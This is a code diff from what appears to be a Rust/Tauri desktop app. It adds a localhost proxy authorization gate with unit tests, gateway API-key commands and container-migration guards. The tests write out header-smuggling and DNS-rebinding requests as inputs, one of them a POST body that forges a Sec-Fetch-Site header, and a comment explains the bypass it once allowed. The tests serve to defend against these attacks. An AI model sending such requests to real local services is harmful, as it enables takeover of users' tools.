.map_err(|e| format!("read failed: {}", e))?;
|
||||
if n == 0 {
|
||||
return Err("connection closed before a request head arrived".to_string());
|
||||
}
|
||||
buf.extend_from_slice(&chunk[..n]);
|
||||
if let Some(head_end) = find_head_end(&buf) {
|
||||
return Ok((buf, head_end));
|
||||
}
|
||||
if buf.len() > MAX_HEAD {
|
||||
return Err(format!("request head exceeded {} bytes", MAX_HEAD));
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/// Index just past the blank line terminating the head, if it has arrived.
|
||||
/// Tolerates a bare-LF terminator, which some minimal clients still emit.
|
||||
fn find_head_end(buf: &[u8]) -> Option<usize> {
|
||||
buf.windows(4)
|
||||
.position(|w| w == b"\r\n\r\n")
|
||||
.map(|i| i + 4)
|
||||
.or_else(|| buf.windows(2).position(|w| w == b"\n\n").map(|i| i + 2))
|
||||
}
|
||||
|
||||
async fn reject(stream: &mut TcpStream, code: u16, reason: &str) -> std::io::Result<()> {
|
||||
let body = REFUSAL_BODY;
|
||||
let response = format!(
|
||||
"HTTP/1.1 {} {}\r\n\
|
||||
Content-Type: text/html; charset=utf-8\r\n\
|
||||
Content-Length: {}\r\n\
|
||||
Cache-Control: no-store\r\n\
|
||||
Connection: close\r\n\r\n{}",
|
||||
code,
|
||||
reason,
|
||||
body.len(),
|
||||
body
|
||||
);
|
||||
stream.write_all(response.as_bytes()).await?;
|
||||
stream.shutdown().await
|
||||
}
|
||||
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
// The gate itself — pure, so it can be tested without sockets
|
||||
// ─────────────────────────────────────────────────────────────────────────────
|
||||
|
||||
#[derive(Debug, Clone, Copy, PartialEq, Eq)]
|
||||
pub(crate) enum Verdict {
|
||||
Allow,
|
||||
/// No request line, or one we can't parse.
|
||||
Malformed,
|
||||
/// `Host` is not one of ours — a rebinding attempt, or a stray client.
|
||||
BadHost,
|
||||
/// Well-formed and addressed to us, but presented no token and no proof of
|
||||
/// having come from a document we served.
|
||||
Unauthenticated,
|
||||
}
|
||||
|
||||
/// Decide whether the connection whose first request head this is may be
|
||||
/// spliced into the container. See the module docs for the rules.
|
||||
pub(crate) fn authorize(
|
||||
head: &str,
|
||||
token: &str,
|
||||
self_origins: &[String],
|
||||
host_authorities: &[String],
|
||||
) -> Verdict {
|
||||
let mut lines = head.split(['\r', '\n']).filter(|l| !l.is_empty());
|
||||
|
||||
let Some(request_line) = lines.next() else {
|
||||
return Verdict::Malformed;
|
||||
};
|
||||
// "GET /path?query HTTP/1.1"
|
||||
let mut parts = request_line.split(' ');
|
||||
let (Some(_method), Some(request_target)) = (parts.next(), parts.next()) else {
|
||||
return Verdict::Malformed;
|
||||
};
|
||||
if !request_target.starts_with('/') && !request_target.starts_with("http") {
|
||||
// CONNECT and origin-form-violating targets are not something the
|
||||
// viewer ever sends; refuse to be used as a forward proxy.
|
||||
return Verdict::Malformed;
|
||||
}
|
||||
|
||||
let mut host = None;
|
||||
let mut origin = None;
|
||||
let mut referer = None;
|
||||
let mut cookie = None;
|
||||
let mut fetch_site = None;
|
||||
for line in lines {
|
||||
let Some((name, value)) = line.split_once(':') else {
|
||||
continue;
|
||||
};
|
||||
let value = value.trim();
|
||||
// Duplicates of a security-relevant header are refused rather than
|
||||
// resolved. Last-occurrence-wins is what turns any header-smuggling
|
||||
// primitive into a full bypass, and no legitimate client sends two.
|
||||
match name.trim().to_ascii_lowercase().as_str() {
|
||||
"host" if host.is_some() => return Verdict::Malformed,
|
||||
"origin" if origin.is_some() => return Verdict::Malformed,
|
||||
"sec-fetch-site" if fetch_site.is_some() => return Verdict::Malformed,
|
||||
"host" => host = Some(value),
|
||||
"origin" => origin = Some(value),
|
||||
"referer" => referer = Some(value),
|
||||
"cookie" => cookie = Some(value),
|
||||
"sec-fetch-site" => fetch_site = Some(value),
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
|
||||
// 1. Anti-rebinding. A hostile page that points its own name at 127.0.0.1
|
||||
// still sends its own name here.
|
||||
match host {
|
||||
Some(h) if host_authorities.iter().any(|a| a.eq_ignore_ascii_case(h)) => {}
|
||||
_ => return Verdict::BadHost,
|
||||
}
|
||||
|
||||
// 2a. An explicit token, from the request target, a cookie, or the query of
|
||||
// the referring document's URL (same-origin requests send the full URL,
|
||||
// query included, under the default referrer policy).
|
||||
if query_token(request_target).is_some_and(|t| tokens_match(t, token))
|
||||
|| cookie_token(cookie.unwrap_or("")).is_some_and(|t| tokens_match(t, token))
|
||||
|| referer.and_then(query_token).is_some_and(|t| tokens_match(t, token))
|
||||
{
|
||||
return Verdict::Allow;
|
||||
}
|
||||
|
||||
// 2b. …or proof that a document we already served issued this request. The
|
||||
// viewer's WebSocket upgrade carries `Origin` and no `Referer`, and
|
||||
// nothing in it is under our control, so this is the clause that makes
|
||||
// the pane work at all. A browser will not let a hostile page forge
|
||||
// either header; a request with neither (cross-site `<script src>`,
|
||||
// top-level navigation, `curl`) falls through and is refused.
|
||||
if origin.is_some_and(|o| origin_is_self(o, self_origins))
|
||||
|| referer.is_some_and(|r| origin_is_self(r, self_origins))
|
||||
// Fetch metadata says the same thing as `Origin`, and keeps saying it
|
||||
// for the plain sub-resource loads that carry no `Origin` and whose
|
||||
// `Referer` a `no-referrer` policy could strip. `Sec-Fetch-Site` is a
|
||||
// forbidden header, so page script cannot set it either.
|
||||
|| fetch_site.is_some_and(|s| s.eq_ignore_ascii_case("same-origin"))
|
||||
{
|
||||
return Verdict::Allow;
|
||||
}
|
||||
|
||||
Verdict::Unauthenticated
|
||||
}
|
||||
|
||||
/// The value of a `token` query parameter in a request target or absolute URL.
|
||||
fn query_token(target: &str) -> Option<&str> {
|
||||
let query = target.split_once('?')?.1;
|
||||
// Fragments never reach the wire in a request target, but a `Referer` can
|
||||
// legally carry one on some clients.
|
||||
let query = query.split('#').next().unwrap_or(query);
|
||||
query.split('&').find_map(|pair| {
|
||||
let (k, v) = pair.split_once('=')?;
|
||||
(k == "token").then_some(v)
|
||||
})
|
||||
}
|
||||
|
||||
/// The value of our session cookie in a `Cookie` header.
|
||||
fn cookie_token(cookie_header: &str) -> Option<&str> {
|
||||
cookie_header.split(';').find_map(|pair| {
|
||||
let (k, v) = pair.split_once('=')?;
|
||||
(k.trim() == COOKIE_NAME).then_some(v.trim())
|
||||
})
|
||||
}
|
||||
|
||||
/// Name of the cookie the gate will accept a token in. Nothing sets it today —
|
||||
/// the pane relies on the query parameter for the document and on `Origin` /
|
||||
/// `Referer` for everything under it, because a webview iframe pointed at
|
||||
/// 127.0.0.1 is a third-party context and WKWebView and WebKitGTK both drop
|
||||
/// third-party cookies by default. It is accepted so that a future first-party
|
||||
/// entry point (opening the pane in the user's own browser, say) needs no
|
||||
/// change here.
|
||||
const COOKIE_NAME: &str = "triple_c_browser_view";
|
||||
|
||||
/// Whether a URL (or bare origin) has exactly one of our own origins.
|
||||
fn origin_is_self(value: &str, self_origins: &[String]) -> bool {
|
||||
// Compare scheme://host:port only; a Referer carries a path as well.
|
||||
let origin = match value.split_once("://") {
|
||||
Some((scheme, rest)) => {
|
||||
let authority = rest.split(['/', '?', '#']).next().unwrap_or(rest);
|
||||
format!("{}://{}", scheme, authority)
|
||||
}
|
||||
None => value.to_string(),
|
||||
};
|
||||
self_origins.iter().any(|o| o.eq_ignore_ascii_case(&origin))
|
||||
}
|
||||
|
||||
/// Length-independent-ish equality. A timing oracle over a loopback socket is
|
||||
/// not a realistic attack, but comparing in constant time costs nothing and
|
||||
/// keeps the primitive honest.
|
||||
fn tokens_match(candidate: &str, expected: &str) -> bool {
|
||||
let a = candidate.as_bytes();
|
||||
let b = expected.as_bytes();
|
||||
let mut diff = (a.len() ^ b.len()) as u8;
|
||||
for i in 0..a.len().max(b.len()) {
|
||||
let x = a.get(i).copied().unwrap_or(0);
|
||||
let y = b.get(i).copied().unwrap_or(0);
|
||||
diff |= x ^ y;
|
||||
}
|
||||
diff == 0
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
mod tests {
|
||||
|
||||
/// The body of a cross-site POST must never be parsed as headers.
|
||||
///
|
||||
/// `text/plain` is CORS-safelisted, so `fetch(..., {mode:'no-cors'})` sends
|
||||
/// this with no preflight. Before the head was truncated at its terminator,
|
||||
/// the forged trailing line won the last-occurrence match and the gate
|
||||
/// returned Allow — an unauthenticated takeover of the container's browser
|
||||
/// from any page the user happened to visit.
|
||||
#[test]
|
||||
fn body_bytes_are_not_parsed_as_headers() {
|
||||
// Deliberately no Sec-Fetch-Site in the head, so the duplicate-header
|
||||
// guard is not what saves us — this isolates truncation on its own.
|
||||
let raw = concat!(
|
||||
"POST / HTTP/1.1\r\n",
|
||||
"Host: 127.0.0.1:47820\r\n",
|
||||
"Content-Type: text/plain\r\n",
|
||||
"\r\n",
|
||||
"a=x\r\nSec-Fetch-Site: same-origin\r\n",
|
||||
);
|
||||
let head_end = find_head_end(raw.as_bytes()).expect("terminator present");
|
||||
let head = &raw[..head_end];
|
||||
let verdict = authorize(
|
||||
head,
|
||||
"tok",
|
||||
&["http://127.0.0.1:47820".to_string()],
|
||||
&["127.0.0.1:47820".to_string()],
|
||||
);
|
||||
assert_ne!(verdict, Verdict::Allow, "body line must not authorize");
|
||||
|
||||
// And the whole buffer — the pre-fix input — would have been allowed,
|
||||
// which is what makes the truncation load-bearing rather than cosmetic.
|
||||
assert_eq!(
|
||||
authorize(
|
||||
raw,
|
||||
"tok",
|
||||
&["http://127.0.0.1:47820".to_string()],
|
||||
&["127.0.0.1:47820".to_string()]
|
||||
),
|
||||
Verdict::Allow,
|
||||
"guard test: the untruncated buffer is exactly the bypass"
|
||||
);
|
||||
}
|
||||
|
||||
/// A smuggled duplicate must be refused, not resolved last-wins.
|
||||
#[test]
|
||||
fn duplicate_security_headers_are_refused() {
|
||||
for dup in [
|
||||
"Host: 127.0.0.1:47820",
|
||||
"Origin: http://127.0.0.1:47820",
|
||||
"Sec-Fetch-Site: same-origin",
|
||||
] {
|
||||
let raw = format!(
|
||||
"GET / HTTP/1.1\r\nHost: evil.example:47820\r\nOrigin: http://evil.example\r\nSec-Fetch-Site: cross-site\r\n{}\r\n\r\n",
|
||||
dup
|
||||
);
|
||||
assert_eq!(
|
||||
authorize(
|
||||
&raw,
|
||||
"tok",
|
||||
&["http://127.0.0.1:47820".to_string()],
|
||||
&["127.0.0.1:47820".to_string()]
|
||||
),
|
||||
Verdict::Malformed,
|
||||
"duplicate {} must be refused",
|
||||
dup
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/// find_head_end must report the index, and it must exclude the body.
|
||||
#[test]
|
||||
fn head_end_excludes_the_body() {
|
||||
let raw = b"GET / HTTP/1.1\r\nHost: a\r\n\r\nBODYBYTES";
|
||||
let end = find_head_end(raw).expect("terminator");
|
||||
assert_eq!(&raw[..end], b"GET / HTTP/1.1\r\nHost: a\r\n\r\n");
|
||||
assert!(!raw[..end].ends_with(b"BODYBYTES"));
|
||||
}
|
||||
|
||||
use super::*;
|
||||
|
||||
const TOKEN: &str = "s3cr3t-token-value";
|
||||
|
||||
fn origins() -> Vec<String> {
|
||||
self_origins(47820)
|
||||
}
|
||||
fn authorities() -> Vec<String> {
|
||||
host_authorities(47820)
|
||||
}
|
||||
|
||||
fn head(request_line: &str, headers: &[&str]) -> String {
|
||||
let mut s = String::from(request_line);
|
||||
s.push_str("\r\n");
|
||||
for h in headers {
|
||||
s.push_str(h);
|
||||
s.push_str("\r\n");
|
||||
}
|
||||
s.push_str("\r\n");
|
||||
s
|
||||
}
|
||||
|
||||
fn verdict(request_line: &str, headers: &[&str]) -> Verdict {
|
||||
authorize(&head(request_line, headers), TOKEN, &origins(), &authorities())
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_initial_document_is_allowed_by_its_query_token() {
|
||||
assert_eq!(
|
||||
verdict(
|
||||
&format!("GET /?token={} HTTP/1.1", TOKEN),
|
||||
&["Host: 127.0.0.1:47820"]
|
||||
),
|
||||
Verdict::Allow
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_wrong_token_is_not_enough() {
|
||||
assert_eq!(
|
||||
verdict("GET /?token=nope HTTP/1.1", &["Host: 127.0.0.1:47820"]),
|
||||
Verdict::Unauthenticated
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_subresource_is_allowed_by_the_token_in_its_referer() {
|
||||
assert_eq!(
|
||||
verdict(
|
||||
"GET /assets/app.js HTTP/1.1",
|
||||
&[
|
||||
"Host: 127.0.0.1:47820",
|
||||
&format!("Referer: http://127.0.0.1:47820/?token={}", TOKEN),
|
||||
]
|
||||
),
|
||||
Verdict::Allow
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_websocket_upgrade_is_allowed_by_its_own_origin() {
|
||||
// The viewer's CDP screencast socket carries Origin and no Referer, and
|
||||
// its URL is not ours to add a token to.
|
||||
assert_eq!(
|
||||
verdict(
|
||||
"GET /ws HTTP/1.1",
|
||||
&[
|
||||
"Host: 127.0.0.1:47820",
|
||||
"Upgrade: websocket",
|
||||
"Connection: Upgrade",
|
||||
"Origin: http://127.0.0.1:47820",
|
||||
]
|
||||
),
|
||||
Verdict::Allow
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_subresource_is_allowed_by_fetch_metadata_when_the_referer_is_stripped() {
|
||||
assert_eq!(
|
||||
verdict(
|
||||
"GET /assets/app.js HTTP/1.1",
|
||||
&[
|
||||
"Host: 127.0.0.1:47820",
|
||||
"Sec-Fetch-Site: same-origin",
|
||||
"Sec-Fetch-Dest: script",
|
||||
]
|
||||
),
|
||||
Verdict::Allow
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn cross_site_fetch_metadata_is_refused() {
|
||||
for site in ["cross-site", "same-site", "none"] {
|
||||
assert_eq!(
|
||||
verdict(
|
||||
"GET /assets/app.js HTTP/1.1",
|
||||
&["Host: 127.0.0.1:47820", &format!("Sec-Fetch-Site: {}", site)]
|
||||
),
|
||||
Verdict::Unauthenticated,
|
||||
"Sec-Fetch-Site: {}",
|
||||
site
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_hostile_pages_fetch_is_refused_by_its_origin() {
|
||||
assert_eq!(
|
||||
verdict(
|
||||
"GET / HTTP/1.1",
|
||||
&["Host: 127.0.0.1:47820", "Origin: http://evil.example"]
|
||||
),
|
||||
Verdict::Unauthenticated
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_bare_port_scan_is_refused() {
|
||||
// No token, no Origin, no Referer — a cross-site <script src>, a
|
||||
// top-level navigation, or curl.
|
||||
assert_eq!(
|
||||
verdict("GET / HTTP/1.1", &["Host: 127.0.0.1:47820"]),
|
||||
Verdict::Unauthenticated
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn dns_rebinding_is_refused_even_with_a_valid_token() {
|
||||
// The attacker's name resolves to 127.0.0.1, but the Host header still
|
||||
// says who the browser thinks it is talking to.
|
||||
assert_eq!(
|
||||
verdict(
|
||||
&format!("GET /?token={} HTTP/1.1", TOKEN),
|
||||
&["Host: evil.example:47820"]
|
||||
),
|
||||
Verdict::BadHost
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn localhost_is_an_acceptable_authority_and_origin() {
|
||||
assert_eq!(
|
||||
verdict(
|
||||
"GET /ws HTTP/1.1",
|
||||
&["Host: localhost:47820", "Origin: http://localhost:47820"]
|
||||
),
|
||||
Verdict::Allow
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn another_panes_origin_does_not_authorize_this_one() {
|
||||
// Ports are what separate one project's pane from another's, so the
|
||||
// neighbouring port must not be accepted as "self".
|
||||
assert_eq!(
|
||||
verdict(
|
||||
"GET /ws HTTP/1.1",
|
||||
&["Host: 127.0.0.1:47820", "Origin: http://127.0.0.1:47821"]
|
||||
),
|
||||
Verdict::Unauthenticated
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_cookie_borne_token_is_accepted() {
|
||||
assert_eq!(
|
||||
verdict(
|
||||
"GET /assets/app.js HTTP/1.1",
|
||||
&[
|
||||
"Host: 127.0.0.1:47820",
|
||||
&format!("Cookie: other=1; {}={}", COOKIE_NAME, TOKEN),
|
||||
]
|
||||
),
|
||||
Verdict::Allow
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_missing_host_header_is_refused() {
|
||||
assert_eq!(
|
||||
verdict(&format!("GET /?token={} HTTP/1.1", TOKEN), &[]),
|
||||
Verdict::BadHost
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn header_names_are_matched_case_insensitively() {
|
||||
assert_eq!(
|
||||
verdict(
|
||||
"GET /ws HTTP/1.1",
|
||||
&["HOST: 127.0.0.1:47820", "ORIGIN: http://127.0.0.1:47820"]
|
||||
),
|
||||
Verdict::Allow
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn a_connect_request_cannot_turn_this_into_a_forward_proxy() {
|
||||
assert_eq!(
|
||||
verdict("CONNECT evil.example:443 HTTP/1.1", &["Host: 127.0.0.1:47820"]),
|
||||
Verdict::Malformed
|
||||
);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn an_empty_head_is_malformed() {
|
||||
assert_eq!(authorize("", TOKEN, &origins(), &authorities()), Verdict::Malformed);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_head_terminator_is_found_for_both_crlf_and_lf() {
|
||||
assert_eq!(find_head_end(b"GET / HTTP/1.1\r\n\r\n"), Some(18));
|
||||
assert_eq!(find_head_end(b"GET / HTTP/1.1\n\n"), Some(16));
|
||||
assert_eq!(find_head_end(b"GET / HTTP/1.1\r\nHost: x\r\n"), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn query_token_ignores_lookalike_parameters() {
|
||||
assert_eq!(query_token("/?mytoken=a&token=b"), Some("b"));
|
||||
assert_eq!(query_token("/?tokenish=a"), None);
|
||||
assert_eq!(query_token("/nothing"), None);
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn tokens_match_rejects_prefixes_and_suffixes() {
|
||||
assert!(tokens_match(TOKEN, TOKEN));
|
||||
assert!(!tokens_match(&TOKEN[..5], TOKEN));
|
||||
assert!(!tokens_match(&format!("{}x", TOKEN), TOKEN));
|
||||
assert!(!tokens_match("", TOKEN));
|
||||
}
|
||||
|
||||
#[test]
|
||||
fn the_proxy_port_range_is_the_one_the_csp_enumerates() {
|
||||
// tauri.conf.json lists these origins in `frame-src`; a change here
|
||||
// without a change there yields a pane that is silently blocked.
|
||||
assert_eq!(PROXY_PORTS.clone().count(), 8);
|
||||
assert_eq!(*PROXY_PORTS.start(), 47820);
|
||||
assert_eq!(*PROXY_PORTS.end(), 47827);
|
||||
}
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -0,0 +1,88 @@
|
||||
//! Tauri commands for the model gateway container.
|
||||
//!
|
||||
//! Mirrors `stt_commands`. The one rule that is specific to this module: the
|
||||
//! **provider API key never crosses back to the frontend**. It goes in through
|
||||
//! `set_gateway_api_key`, lives in the OS keychain, and is only ever read
|
||||
//! host-side when rendering the gateway config. `get_gateway_status` reports
|
||||
//! its presence as a boolean.
|
||||
//!
|
||||
//! The gateway *master key* is different and is returned deliberately — it is
|
||||
//! the value the user has to paste into a project's model config as its auth
|
||||
//! token, so keeping it hidden would just make the feature unusable.
|
||||
|
||||
use tauri::{AppHandle, Emitter, State};
|
||||
|
||||
use crate::docker::gateway;
|
||||
use crate::models::GatewayStatus;
|
||||
use crate::storage::secure;
|
||||
use crate::AppState;
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn get_gateway_status(state: State<'_, AppState>) -> Result<GatewayStatus, String> {
|
||||
let settings = state.settings_store.get();
|
||||
gateway::get_gateway_status(&settings.gateway).await
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn start_gateway(state: State<'_, AppState>) -> Result<GatewayStatus, String> {
|
||||
let settings = state.settings_store.get();
|
||||
gateway::ensure_gateway_running(&settings.gateway).await
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn stop_gateway() -> Result<(), String> {
|
||||
gateway::stop_gateway_container().await
|
||||
}
|
||||
|
||||
/// Whether the gateway is actually answering yet. LiteLLM needs a few seconds
|
||||
/// after the container starts before `/v1/messages` will serve anything.
|
||||
#[tauri::command]
|
||||
pub async fn check_gateway_health(state: State<'_, AppState>) -> Result<bool, String> {
|
||||
let settings = state.settings_store.get();
|
||||
gateway::check_gateway_health(settings.gateway.port).await
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn build_gateway_image(app_handle: AppHandle) -> Result<(), String> {
|
||||
gateway::build_gateway_image(move |msg| {
|
||||
let _ = app_handle.emit("gateway-build-progress", &msg);
|
||||
})
|
||||
.await
|
||||
}
|
||||
|
||||
#[tauri::command]
|
||||
pub async fn pull_gateway_image(app_handle: AppHandle) -> Result<(), String> {
|
||||
gateway::pull_gateway_image(move |msg| {
|
||||
let _ = app_handle.emit("gateway-pull-progress", &msg);
|
||||
})
|
||||
.await
|
||||
}
|
||||
|
||||
/// Store the upstream provider API key. Write-only from the frontend's point
|
||||
/// of view — there is no matching getter.
|
||||
#[tauri::command]
|
||||
pub async fn set_gateway_api_key(api_key: String) -> Result<(), String> {
|
||||
secure::store_gateway_api_key(&api_key)
|
||||
}
|
||||
|
||||
/// Forget the provider API key. The gateway keeps serving until it is
|
||||
/// restarted, at which point it will refuse to start without a key.
|
||||
#[tauri::command]
|
||||
pub async fn clear_gateway_api_key() -> Result<(), String> {
|
||||
secure::delete_gateway_api_key()
|
||||
}
|
||||
|
||||
/// The token a project sends to the gateway (`ANTHROPIC_AUTH_TOKEN`), minting
|
||||
/// one on first use.
|
||||
#[tauri::command]
|
||||
pub async fn get_gateway_auth_token() -> Result<String, String> {
|
||||
secure::get_or_create_gateway_master_key()
|
||||
}
|
||||
|
||||
/// Mint a new gateway auth token, invalidating the old one. Projects still
|
||||
/// holding the previous value stop working until they are updated, and the
|
||||
/// gateway is recreated on its next start because the rotation id moved.
|
||||
#[tauri::command]
|
||||
pub async fn regenerate_gateway_auth_token() -> Result<String, String> {
|
||||
secure::regenerate_gateway_master_key()
|
||||
}
|
||||
File diff suppressed because it is too large
Load Diff
@@ -3,9 +3,11 @@ pub mod auth_token_commands;
|
||||
pub mod aws_commands;
|
||||
pub mod docker_commands;
|
||||
pub mod file_commands;
|
||||
pub mod gateway_commands;
|
||||
pub mod help_commands;
|
||||
pub mod inspect_commands;
|
||||
pub mod install_helper_commands;
|
||||
pub mod migration_commands;
|
||||
pub mod project_commands;
|
||||
pub mod settings_commands;
|
||||
pub mod stt_commands;
|
||||
|
||||
@@ -2,11 +2,11 @@ use tauri::{Emitter, State};
|
||||
|
||||
use crate::commands::aws_commands;
|
||||
use crate::docker;
|
||||
use crate::models::{container_config, Backend, BedrockAuthMethod, Project, ProjectPath, ProjectStatus};
|
||||
use crate::models::{container_config, AppSettings, Backend, BedrockAuthMethod, Project, ProjectPath, ProjectStatus};
|
||||
use crate::storage::secure;
|
||||
use crate::AppState;
|
||||
|
||||
fn emit_progress(app_handle: &tauri::AppHandle, project_id: &str, message: &str) {
|
||||
pub(crate) fn emit_progress(app_handle: &tauri::AppHandle, project_id: &str, message: &str) {
|
||||
let _ = app_handle.emit(
|
||||
"container-progress",
|
||||
serde_json::json!({
|
||||
@@ -43,8 +43,49 @@ fn store_secrets_for_project(project: &Project) -> Result<(), String> {
|
||||
Ok(())
|
||||
}
|
||||
|
||||
/// Create the project's container, threading every global setting through.
|
||||
///
|
||||
/// Exists so that the two ordinary create paths below and base-image migration
|
||||
/// cannot drift apart — a container created by a migration must be
|
||||
/// indistinguishable from one created by a normal start, or the next
|
||||
/// `container_needs_recreation` would immediately throw it away.
|
||||
///
|
||||
/// `create_image` is what to create *from* (the snapshot or the base);
|
||||
/// `base_image_name` is the configured base, which `create_container` needs in
|
||||
/// order to tell those two apart when it stamps the lineage labels.
|
||||
pub(crate) async fn create_container_for_project(
|
||||
project: &Project,
|
||||
settings: &AppSettings,
|
||||
docker_socket: &str,
|
||||
aws_config_path: Option<&str>,
|
||||
create_image: &str,
|
||||
base_image_name: &str,
|
||||
extras: docker::CreateExtras<'_>,
|
||||
) -> Result<String, String> {
|
||||
docker::create_container(
|
||||
project,
|
||||
docker_socket,
|
||||
create_image,
|
||||
base_image_name,
|
||||
extras,
|
||||
aws_config_path,
|
||||
&settings.global_aws,
|
||||
&settings.global_ollama,
|
||||
&settings.global_llamacpp,
|
||||
&settings.global_openai_compatible,
|
||||
settings.global_claude_instructions.as_deref(),
|
||||
&settings.global_custom_env_vars,
|
||||
settings.timezone.as_deref(),
|
||||
settings.global_claude_code_settings.as_ref(),
|
||||
settings.default_ssh_key_path.as_deref(),
|
||||
settings.default_git_user_name.as_deref(),
|
||||
settings.default_git_user_email.as_deref(),
|
||||
)
|
||||
.await
|
||||
}
|
||||
|
||||
/// Populate secret fields on a project struct from the OS keychain.
|
||||
fn load_secrets_for_project(project: &mut Project) {
|
||||
pub(crate) fn load_secrets_for_project(project: &mut Project) {
|
||||
project.git_token = secure::get_project_secret(&project.id, "git-token")
|
||||
.unwrap_or(None);
|
||||
if let Some(ref mut bedrock) = project.bedrock_config {
|
||||
@@ -104,6 +145,11 @@ pub async fn remove_project(
|
||||
// before the container (and the project record) go away.
|
||||
state.auth_bridge.stop(&project_id).await;
|
||||
|
||||
// A migration record outliving its project leaks a state file, a staged
|
||||
// payload tar that can run to several GB, and a `:pre-migration-<ts>` tag
|
||||
// holding an entire snapshot image that nothing will ever reference again.
|
||||
crate::commands::migration_commands::purge_migration_artifacts(&project_id).await;
|
||||
|
||||
// Stop and remove container if it exists
|
||||
if let Some(ref project) = state.projects_store.get(&project_id) {
|
||||
if let Some(ref container_id) = project.container_id {
|
||||
@@ -174,6 +220,20 @@ pub async fn start_project_container(
|
||||
app_handle: tauri::AppHandle,
|
||||
state: State<'_, AppState>,
|
||||
) -> Result<Project, String> {
|
||||
// A migration removes the container and creates its replacement moments
|
||||
// later. Starting in that window finds no container, creates a second one
|
||||
// under the same name, and the migration's own create then fails on the
|
||||
// name conflict — which sends it into an auto-rollback that also cannot
|
||||
// create. The UI already refuses (`canMigrate` gates on the container being
|
||||
// stopped and no run being in flight); this is the same gate on the side
|
||||
// that actually owns the invariant.
|
||||
if crate::commands::migration_commands::is_migrating(&project_id) {
|
||||
return Err(
|
||||
"A container base update is running for this project. Wait for it to finish, then start the project."
|
||||
.to_string(),
|
||||
);
|
||||
}
|
||||
|
||||
let mut project = state
|
||||
.projects_store
|
||||
.get(&project_id)
|
||||
@@ -207,6 +267,16 @@ pub async fn start_project_container(
|
||||
}
|
||||
}
|
||||
|
||||
if project.backend == Backend::LlamaCpp {
|
||||
let cfg = project.llamacpp_config.as_ref()
|
||||
.ok_or_else(|| "llama.cpp backend selected but no llama.cpp configuration found.".to_string())?;
|
||||
if cfg.base_url.trim().is_empty()
|
||||
&& settings.global_llamacpp.base_url.as_deref().map(str::trim).unwrap_or("").is_empty()
|
||||
{
|
||||
return Err("llama.cpp base URL is required. Set it per-project or in global llama.cpp settings.".to_string());
|
||||
}
|
||||
}
|
||||
|
||||
if project.backend == Backend::OpenAiCompatible {
|
||||
let oai_config = project.openai_compatible_config.as_ref()
|
||||
.ok_or_else(|| "OpenAI Compatible backend selected but no configuration found.".to_string())?;
|
||||
@@ -307,13 +377,29 @@ pub async fn start_project_container(
|
||||
// AWS config path from global settings
|
||||
let aws_config_path = settings.global_aws.aws_config_path.clone();
|
||||
|
||||
// What we would create this container from *right now*: the project's
|
||||
// snapshot when one exists, else the configured base. This is the value
|
||||
// `container_needs_recreation` compares against the container's
|
||||
// `triple-c.create-image` label — the check that replaced the old
|
||||
// tautological one. It is resolved *before* the commit below, so it
|
||||
// describes the pre-commit world the existing container was born into.
|
||||
let snapshot_image = docker::get_snapshot_image_name(&project);
|
||||
let expected_create_image =
|
||||
if docker::image_exists(&snapshot_image).await.unwrap_or(false) {
|
||||
snapshot_image.clone()
|
||||
} else {
|
||||
image_name.clone()
|
||||
};
|
||||
|
||||
let container_id = if let Some(existing_id) = docker::find_existing_container(&project).await? {
|
||||
// Check if config changed — if so, snapshot + recreate
|
||||
let needs_recreate = docker::container_needs_recreation(
|
||||
&existing_id,
|
||||
&project,
|
||||
&expected_create_image,
|
||||
&settings.global_aws,
|
||||
&settings.global_ollama,
|
||||
&settings.global_llamacpp,
|
||||
&settings.global_openai_compatible,
|
||||
settings.global_claude_instructions.as_deref(),
|
||||
&settings.global_custom_env_vars,
|
||||
@@ -341,29 +427,24 @@ pub async fn start_project_container(
|
||||
docker::remove_legacy_mcp_containers(&project.id).await;
|
||||
docker::remove_legacy_project_network(&project.id).await;
|
||||
|
||||
// Create from snapshot image (preserves system-level changes)
|
||||
let snapshot_image = docker::get_snapshot_image_name(&project);
|
||||
// Create from snapshot image (preserves system-level changes).
|
||||
// Re-resolved after the commit above: when no snapshot existed
|
||||
// before, one does now, and creating from the base instead
|
||||
// would throw away the state that was just saved.
|
||||
let create_image = if docker::image_exists(&snapshot_image).await.unwrap_or(false) {
|
||||
snapshot_image
|
||||
snapshot_image.clone()
|
||||
} else {
|
||||
image_name.clone()
|
||||
};
|
||||
|
||||
let new_id = docker::create_container(
|
||||
let new_id = create_container_for_project(
|
||||
&project,
|
||||
&settings,
|
||||
&docker_socket,
|
||||
&create_image,
|
||||
aws_config_path.as_deref(),
|
||||
&settings.global_aws,
|
||||
&settings.global_ollama,
|
||||
&settings.global_openai_compatible,
|
||||
settings.global_claude_instructions.as_deref(),
|
||||
